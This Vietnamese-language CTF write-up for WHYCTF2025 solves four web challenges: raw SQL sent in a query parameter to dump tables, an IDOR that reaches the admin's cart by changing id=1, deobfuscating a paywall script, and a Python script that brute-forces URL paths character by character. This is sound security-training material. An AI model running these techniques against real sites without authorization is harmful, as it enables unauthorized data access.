Writeup Giải WHYCTF2025
WHYCTF2025
I. Planets - Web 50
Khi truy cập vào thử thách trên thì trang web hiển thị ra một danh sách các hành tinh, ngoài ta không có thêm chức năng gì cả:
Khi ta vào burp ta thấy một lệnh SQL được gọi trực tiếp trong query để nhận về danh sách các hành tinh:
Thử thay đổi query SQL để xem tất cả các bảng trong Database này xem có được không nào
Dùng query=SHOW TABLES
và kết quả nhận được như sau:
vậy bây giờ thử hiển thị bảng abandoned_planets
xem bên trong có gì bằng query sau: query=SELECT * FROM abandoned_planets
và kết quả nhận được chính là flag
Flag : flag{9c4dea2d8ae5681a75f8e670ac8ba999}
II. Shoe Shop 1.0 - Web 50
Khi truy cập trang web ta thấy một trang web có chức năng bán giày như tiêu đề của thử thách với các tính năng cơ bản.
Tạo tài khoản và đăng nhập sau đó vào thư mục cart thì được giao diện như sau:
Bắt request trong burp suite ta thấy trong request query có một tham số rất đặc biệt đó là id=15
, mình đoán với mỗi người dùng khác nhau thì sẽ có id
khác nhac
Dựa trên suy đoán trên mình thử thay đổi giá trị của id
để xem kết quả trả về như thế nào, ngoài ra trong gợi ý của đề bài có nói rằng đôi giày đặc biệt
nằm trong cart của admin
. Mà thông thường admin
sẽ có id
nhỏ nên mình bắt đầu thử giá trị của id
từ 0
trở đi.
Với id=0
thì không có gì đặc biệt cả!
Tiếp tục thử với id=1
thì đã truy cập được vào cart của admin
và đã thấy được giá trị của flag
Flag: flag{00f34f9c417fcaa72b16f79d02d33099}
III. WHY2025 CTF TIMES - Web 50
Khi ta mở trang web và bắt request trong burp suite thì bắt gặp một file paywall.min.js
Xem thử file js
đó ta thấy một đoạn code rất dài đã bị làm rối
Truy cập trang https://deobfuscate.io/ để thửu gỡ rối đoạn mã, khi dán đoạn code vào input ta nhận được thông báo như sau
Chuyển đến trang web https://obf-io.deobfuscate.io/ và tiếp tục dán đoạn mã ban đầu và giải mã ta nhận được một đoạn mã đã được gỡ rối một phần và trong phần đã được gỡ rối đó ta đã có thể thấy được flag
Flag: flag{2d582cd42552e765d2658a14a0a25755}
IV. Buster - Web 50
Khi truy cập vào trang web ta được giao diện như trên, đọc đoạn văn bản bên dưới tấm ảnh gif gợi ý cho ta việc dùng các công cụ để brute force các đường dẫn.
Thử dùng gobuster
với wordlist cơ bản chạy trong một khoảng thời gian ta có được kết quả như sau
Để ý 3 đường dẫn với trạng thái 200
đều là một hoặc một phần của dòng chữ liên quan đến flag
cho mình ý tưởng rằng thử thách trên được thiết kế để đi dò từng kí tự của đoạn flag. Để kiểm chứng nhận định đó mình đã thử truy cập vào /fl và /fla
đều trả ra trạng thái 200
trong khi các đường dẫn như /fi và flat
đều trả ra lỗi 404
đã xác định nhận định trên là đúng
Để khai thác nhận định trên thì việc ngồi mò từng kí tự dường như là bất khả thi nên mình dùng đến một đoạn script bằng python thể phục vụ việc khai thác một cách tự động
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import requests
import string
import time
BASE_URL = "https://buster.ctf.zone/flag_dec{}"
CHARSET = string.ascii_lowercase + string.digits + "_-{}"
SUCCESS_STATUS_CODE = 200
NOT_FOUND_STATUS_CODE = 404
found_flag = ""
print(f"Bắt đầu brute-force sau 'flag_dec': {BASE_URL.format('')}")
print(f"Thử các ký tự: {CHARSET}\n")
while True:
found_char_in_iteration = False
print(f"Đang dò ký tự thứ {len(found_flag) + 1}...")
for char in CHARSET:
test_string = found_flag + char
url_to_test = BASE_URL.format(test_string)
try:
response = requests.get(url_to_test)
print(f"Thử '{char}': {url_to_test} -> Status: {response.status_code}")
if response.status_code == SUCCESS_STATUS_CODE:
found_flag += char
print("-" * 50)
print(f"✓ Tìm thấy ký tự đúng '{char}'! Chuỗi hiện tại: flag_dec{found_flag}")
print("-" * 50)
found_char_in_iteration = True
break
except requests.exceptions.RequestException as e:
print(f"Lỗi kết nối: {e}")
time.sleep(2)
if not found_char_in_iteration:
print(f"\nKhông tìm thấy ký tự nào trả về status 200. Dừng brute-force.")
break
print("\n" + "="*50)
print(f"HOÀN THÀNH! Chuỗi tìm được sau 'flag_dec': {found_flag}")
print(f"URL đầy đủ: flag_dec{found_flag}")
print("="*50)
Ngoài ra trong source code của web cũng có một phần gợi ý về định dạng của flag để ta có thể thu hẹp phạm vi brute force cho tối ưu thời gian hơn
Và đây là kết quả khi chạy script
Định dạng lại chuỗi url ta được sẽ nhận được một flag hoàn chỉnh
Flag: flag{deca3b962fc316a6d69a7e0c2c33c7fa}